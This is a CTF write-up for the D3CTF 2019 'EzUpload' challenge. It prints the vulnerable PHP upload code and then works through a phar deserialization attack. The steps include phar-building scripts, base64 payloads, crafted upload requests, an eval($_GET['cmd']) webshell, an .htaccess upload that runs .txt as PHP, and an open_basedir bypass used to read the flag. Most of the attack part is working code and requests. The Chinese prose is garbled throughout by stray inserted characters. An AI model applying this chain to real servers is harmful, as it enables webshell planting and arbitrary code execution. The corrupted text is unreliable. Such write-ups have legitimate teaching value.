[D3CTF 2019]EzUpload
<?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($url,$filename) {
$this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {
mkdir($this->userdir, 0777, true);
}
}
public function checkdir(){
if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
die('hacker!!!');
}
}
public function checkurl(){
$r = parse_url($this->url);
if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
die('hacker!!!');
}
}
public function checkext(){
if (stristr($this->filename,'..')){
die('hacker!!!');
}
if (stristr($this->filename,'/')){
die('hacker!!!');
}
$ext = substr($this->filename, strrpos($this->filename, ".") + 1);
if (preg_match("/ph/i", $ext)){
die('hacker!!!');
}
}
public function upload(){
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url,NULL,NULL,0,2048);
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!!');
}
file_put_contents($this->userdir."/".$this->filename,$content);
}
public function remove(){
$this->checkdir();
$this->checkext();
if (file_exists($this->userdir."/".$this->filename)){
unlink($this->userdir."/".$this->filename);
}
}
public function count($dir) {
if ($dir === ''){
$num = count(scandir($this->userdir)) - 2;
}
else {
$num = count(scandir($dir)) - 2;
}
if($num > 0) {
return "you have $num files";
}
else{
return "you don't have file";
}
}
public function __toString() {
return implode(" ",scandir(__DIR__."/".$this->userdir));
}
public function __destruct() {
$string = "your file in : ".$this->userdir;
file_put_contents($this->filename.".txt", $string);
echo $string;
}
}
if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
highlight_file(__FILE__);
die();
}
$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
$dir->upload();
}
elseif ($_POST['action'] === "remove") {
$dir->remove();
}
elseif ($_POST['action'] === "count") {
if (!isset($_POST['dir'])){
echo $dir->count('');
} else {
echo $dir->count($_POST['dir']);
}
}
兩個(gè)文件寫入點(diǎn)祖今,一個(gè)文件讀取點(diǎn)棚潦。upload里的的文件寫入可以寫入upload/{md5(ip)}/目錄绕沈,析構(gòu)函數(shù)里的文件寫入可以寫任意目錄(需要權(quán)限)拴签。但是析構(gòu)函數(shù)里的工作目錄會(huì)變到網(wǎng)站根目錄(ServerRoot不是DocumentRoot)运挫,這個(gè)web服務(wù)的DocumentRoot在/var/www/html/*/下,這個(gè)*是一個(gè)隨機(jī)生成的字符串亲配,并且10分鐘換一次(原題中有hints提示)尘应。__toString()函數(shù)可以讀取目錄,并且這個(gè)函數(shù)可以在析構(gòu)函數(shù)里的字符串拼接處出觸發(fā)吼虎,這個(gè)函數(shù)可以用來獲取上面說到的隨機(jī)生成的目錄名犬钢。拿到目錄名后就可以利用析構(gòu)函數(shù)里的文件寫入進(jìn)行任意文件寫入了。
有了反序列化思路之后就要找反序列化點(diǎn)了思灰,題目代碼中并沒有明確的反序列化函數(shù)調(diào)用玷犹,但是存在文件讀取函數(shù),可以利用phar協(xié)議進(jìn)行反序列化洒疚。
phar文件內(nèi)容大致分為四個(gè)部分
-
stub
這是一個(gè)標(biāo)志位用來標(biāo)示一個(gè)phar文件歹颓,格式為
* __HALT_COMPILER();?>或* __HALT_COMPILER();。前面的*可以是任意字符油湖,比如可以GIF89a來繞過部分過濾巍扛。php通過這個(gè)標(biāo)志來識(shí)別phar文件(不依賴文件后綴)。
-
manifest
這里儲(chǔ)存的是phar文件的信息乏德,其中有一個(gè)以序列化字符串存放的可以自定義的meta-data部分撤奸,在解析phar會(huì)進(jìn)行反序列化。
-
contents
文件內(nèi)容
-
signature
簽名喊括,和hash phar.require_hash配置有關(guān)
php提供了一個(gè)phar類來進(jìn)行phar文件操作胧瓜,構(gòu)造以下payload
<?php
class dir{
public $userdir;
public $url;
public $filename;
}
$phar = new Phar("phar.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); "); //設(shè)置stub
$o = new dir();
$a = new dir();
$a->userdir='../';
$o->userdir=$a;
$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動(dòng)計(jì)算
$phar->stopBuffering();
?>
執(zhí)行這個(gè)文件會(huì)生成一個(gè)phar.phar文件,計(jì)算該文件的base64值為
IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAAaPXEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0RoxsuC3D8ws4dcXncsEt80xGlOQCAAAAR0JNQg==
提交請(qǐng)求為
action=upload&filename=phar.txt&url=data:image/png;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAAaPXEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0RoxsuC3D8ws4dcXncsEt80xGlOQCAAAAR0JNQg==
再提交請(qǐng)求為
action=upload&filename=&url=phar://upload/{md5(IP)}/phar.txt
可以在回顯中看到目錄名郑什。這里利用../讀取了/var/www/html/的內(nèi)容府喳,但是再往上就讀不到了因?yàn)閛pen_basedir的限制。
知道的目錄名后就可以用絕對(duì)路徑來進(jìn)行任意文件寫入了蘑拯,析構(gòu)函數(shù)中將$string變量寫入一個(gè)文件劫拢,$string變量由兩個(gè)字符串拼接肉津,其中$userdir變量可以觸發(fā)__toString()函數(shù),__toString()函數(shù)又可以讀取/var/www/html/目錄和子目錄內(nèi)容舱沧,而upload/{md5(IP)}/目錄又可以通過upload()函數(shù)進(jìn)行文件寫入,并且對(duì)文件名的限制很小偶洋。這條攻擊鏈就很清晰了
首先提交一個(gè)請(qǐng)求
action=upload&filename=<?php eval($_GET['cmd']); ?>.txt&url=
這個(gè)請(qǐng)求生成了一個(gè)名為<?php eval($_GET['cmd']); ?>.txt的文件熟吏,再構(gòu)造payload
<?php
class dir{
public $userdir;
public $url;
public $filename;
}
$phar = new Phar("phar.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); "); //設(shè)置stub
$o = new dir();
$a = new dir();
$a->userdir='upload/{md5(IP)}/';
$o -> filename= '/var/www/html/{directory_name}/upload/{md5(IP)}/webshell';
$o->userdir=$a;
$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動(dòng)計(jì)算
$phar->stopBuffering();
?>
計(jì)算生成的phar.phar文件base64值
IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KLQEAAAEAAAARAAAAAQAAAAAA9wAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6NDA6InVwbG9hZC80OGNkOGI0MzA4MTg5NmZiZDA5MzFkMjA0Zjk0NzY2My8iO3M6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO047fXM6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii92YXIvd3d3L2h0bWwvZmViZWZlMWNjNWM4Nzc0OC91cGxvYWQvNDhjZDhiNDMwODE4OTZmYmQwOTMxZDIwNGY5NDc2NjMvd2Vic2hlbGwiO30IAAAAdGVzdC50eHQEAAAARPrEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0hhX3PmvSpwnvsS1rmPywO8MrIPgCAAAAR0JNQg==
提交請(qǐng)求
action=upload&filename=phar.txt&url=data:image/png;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KLQEAAAEAAAARAAAAAQAAAAAA9wAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6NDA6InVwbG9hZC80OGNkOGI0MzA4MTg5NmZiZDA5MzFkMjA0Zjk0NzY2My8iO3M6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO047fXM6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii92YXIvd3d3L2h0bWwvZmViZWZlMWNjNWM4Nzc0OC91cGxvYWQvNDhjZDhiNDMwODE4OTZmYmQwOTMxZDIwNGY5NDc2NjMvd2Vic2hlbGwiO30IAAAAdGVzdC50eHQEAAAARPrEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0hhX3PmvSpwnvsS1rmPywO8MrIPgCAAAAR0JNQg==
再提交請(qǐng)求
action=upload&filename=&url=phar://upload/{md5(IP)}/phar.txt
在upload/{md5(IP)}/目錄下會(huì)生成一個(gè)webshell.txt文件,其中有部分內(nèi)容為<?php eval($_GET['cmd']); ?>
再上傳一個(gè).htaccess文件將txt解析為php即可玄窝,提交請(qǐng)求
action=upload&filename=.htaccess&url=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0
再訪問webshell.txt并提交cmd參數(shù)即可執(zhí)行任意代碼牵寺,但是還存在open_basdir的限制,提交參數(shù)cmd為
ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(scandir('/'));
可以看到在根目錄存在一個(gè)F1aG_1s_H4r4文件恩脂,提交參數(shù)為
ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(file_get_contents('/F1aG_1s_H4r4'));
即可獲取flag帽氓。
還有其他解法如
<?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct(){
$this->userdir = '<?php eval($_GET[cmd]);?>';
$this->filename = "/var/www/html/216cbd05fb1918ba/upload/4f105b2c0ec2da14aae9b130ee13f8e9/somnus";
$this->url = "1";
}
}
$d = new dir();
echo urlencode(serialize($d));
$phar = new Phar("somnus3.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();"); //設(shè)置stub,增加gif文件頭用以欺騙檢測(cè)
$phar->setMetadata($d); //將自定義meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要壓縮的文件
$phar->stopBuffering();
?>